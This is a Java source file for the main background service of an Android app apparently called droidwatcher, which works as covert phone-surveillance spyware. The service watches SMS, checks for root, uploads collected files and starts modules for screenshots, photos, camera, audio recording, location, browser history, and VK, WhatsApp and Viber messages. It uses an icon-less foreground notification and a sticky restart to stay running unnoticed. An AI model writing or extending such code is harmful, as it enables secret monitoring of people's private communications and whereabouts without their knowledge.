package com.droidwatcher.services;
import java.lang.ref.WeakReference;
import com.droidwatcher.DBManager;
import com.droidwatcher.Debug;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.ThreadManager;
import com.droidwatcher.modules.*;
import com.droidwatcher.modules.location.LocationModule;
import com.droidwatcher.receivers.BatteryState;
import com.droidwatcher.receivers.ScreenStateReceiver;
import com.stericson.RootTools.RootTools;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
public class AppService extends Service {
public static ThreadManager sThreadManager = null;
public static String APP_VERSION = "";
private ContentResolver mContentResolver;
//private CallContentObserver mCallObserv;
private SMSContentObserver mSmsObserv;
private SettingsManager mSettings;
private Handler mHandler;
/* MODULES */
private ScreenStateReceiver mScreenState;
private ScreenshotModule mScreenshotModule;
private PhotoModule mPhotoModule;
private LocationModule mLocationmodule;
private RecorderModule mRecordModule;
private VkModule mVkModule;
private WhatsAppModule mWaModule;
private ViberModule mVbModule;
private UpdateModule mUpdateModule;
private GCMModule mGcmModule;
private CameraModule mCameraModule;
private BrowserHistoryModule mBrowserModule;
private static boolean sIsRootAvailable = false;
public static boolean isRootAvailable(){
return sIsRootAvailable;
}
public static boolean isSystemApp(Context context){
boolean isSystem = false;
try {
isSystem = (context.getPackageManager().getPackageInfo(context.getPackageName(), 0).applicationInfo.flags & (ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP)) != 0;
} catch (NameNotFoundException e) {
Debug.exception(e);
}
return isSystem;
}
@SuppressWarnings("deprecation")
@Override
public void onCreate() {
super.onCreate();
Debug.i("[AppService] starting service");
Thread.currentThread().setName("[AppService]");
Thread.currentThread().setPriority(Thread.MAX_PRIORITY);
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.JELLY_BEAN_MR1) {
android.app.Notification notification = new android.app.Notification(0, null, System.currentTimeMillis());
notification.flags |= android.app.Notification.FLAG_NO_CLEAR;
startForeground(42, notification);
}
mSettings = new SettingsManager(this);
sThreadManager = new ThreadManager(this);
try {
PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), 0);
APP_VERSION = info.versionName + "(" + info.versionCode + ")";
} catch (NameNotFoundException e) {
APP_VERSION = "none";
}
mContentResolver = getContentResolver();
//mCallObserv = new CallContentObserver(new Handler(), this);
mSmsObserv = new SMSContentObserver(new Handler());
mHandler = new MyHandler(this);
if (mSettings.isConnected()){
//mContentResolver.registerContentObserver(DBManager.CALL_URI, true, mCallObserv);
mContentResolver.registerContentObserver(DBManager.SMS_URI, true, mSmsObserv);
}
sThreadManager.sendFiles();
startThread();
}
private void startThread(){
new Thread(new Runnable() {
@Override
public void run() {
if (RootTools.isRootAvailable() && RootTools.isAccessGiven()) {
Debug.i("[AppService] Root available");
sIsRootAvailable = true;
}
else{
Debug.i("[AppService] Root NOT available");
sIsRootAvailable = false;
}
mHandler.sendEmptyMessage(0);
}
}).start();
}
private void startModules(){
registerReceiver(BatteryState.getInstance(), new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
mScreenState = new ScreenStateReceiver(this);
mScreenState.start();
mGcmModule = new GCMModule(this);
mGcmModule.start();
if (ScreenshotModule.isAvailable()) {
mScreenshotModule = new ScreenshotModule(this);
mScreenshotModule.start();
}
mPhotoModule = new PhotoModule(this);
mPhotoModule.start();
mLocationmodule = new LocationModule(this);
mLocationmodule.start();
mRecordModule = new RecorderModule(this);
mUpdateModule = new UpdateModule(this);
mUpdateModule.start();
mVkModule = new VkModule(this);
mVkModule.start();
mWaModule = new WhatsAppModule(this);
mWaModule.start();
mVbModule = new ViberModule(this);
mVbModule.start();
mCameraModule = new CameraModule(this);
mCameraModule.start();
mBrowserModule = new BrowserHistoryModule(this);
mBrowserModule.start();
DeviceInfoModule.updateDeviceInfoOnServer(this);
}
private void stopModules(){
if (mScreenState != null) {
mScreenState.dispose();
mScreenState = null;
}
if (mGcmModule != null) {
mGcmModule.dispose();
mGcmModule = null;
}
if (mScreenshotModule != null) {
mScreenshotModule.dispose();
mScreenshotModule = null;
}
if (mPhotoModule != null) {
mPhotoModule.dispose();
mPhotoModule = null;
}
if (mLocationmodule != null) {
mLocationmodule.dispose();
mLocationmodule = null;
}
if (mRecordModule != null) {
mRecordModule.dispose();
mRecordModule = null;
}
if (mUpdateModule != null) {
mUpdateModule.dispose();
mUpdateModule = null;
}
if (mVkModule != null) {
mVkModule.dispose();
mVkModule = null;
}
if (mWaModule != null) {
mWaModule.dispose();
mWaModule = null;
}
if (mVbModule != null) {
mVbModule.dispose();
mVbModule = null;
}
if (mCameraModule != null) {
mCameraModule.dispose();
mCameraModule = null;
}
if (mBrowserModule != null) {
mBrowserModule.dispose();
mBrowserModule = null;
}
}
@Override
public void onDestroy() {
super.onDestroy();
Debug.i("[AppService] destroy");
stopModules();
if (mContentResolver != null) {
// try {
// mContentResolver.unregisterContentObserver(mCallObserv);
// } catch (Exception e) {
// Debug.exception(e);
// }
try {
mContentResolver.unregisterContentObserver(mSmsObserv);
} catch (Exception e) {
Debug.exception(e);
}
}
try {
unregisterReceiver(BatteryState.getInstance());
} catch (Exception e) {
Debug.exception(e);
} finally{
BatteryState.dispose();
}
sThreadManager.dispose();
sThreadManager = null;
mContentResolver= null;
}
@Override
public void onLowMemory() {
super.onLowMemory();
Debug.i("[AppService] Low memory");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//return super.onStartCommand(intent, flags, startId);
return START_STICKY;
}
private void handlemessage(Message msg){
Debug.i("[AppService] Handle message");
startModules();
}
private static class MyHandler extends Handler{
private final WeakReference<AppService> mService;
private MyHandler(AppService service) {
mService = new WeakReference<AppService>(service);
}
@Override
public void handleMessage(Message msg) {
AppService service = mService.get();
if (service != null) {
service.handlemessage(msg);
}
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}